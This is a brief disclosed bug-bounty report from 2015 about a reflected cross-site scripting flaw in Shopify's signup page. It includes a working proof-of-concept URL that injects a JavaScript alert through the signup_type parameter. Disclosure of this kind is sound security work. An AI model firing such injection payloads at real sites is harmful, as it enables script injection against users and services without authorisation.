Shopify · Report #85291
XSS https://www.shopify.com/signup
Validstatus
$500bounty
2upvotes
31 Aug 2015disclosed
How it was found
https://www.shopify.com/signup?signup_type=%27|alert%28%27XSS%27%29|%27 Vulnerable param is signup_type. For the XSS i used '|alert('XSS')|'
Tested in Mozilla Firefox 40.0.3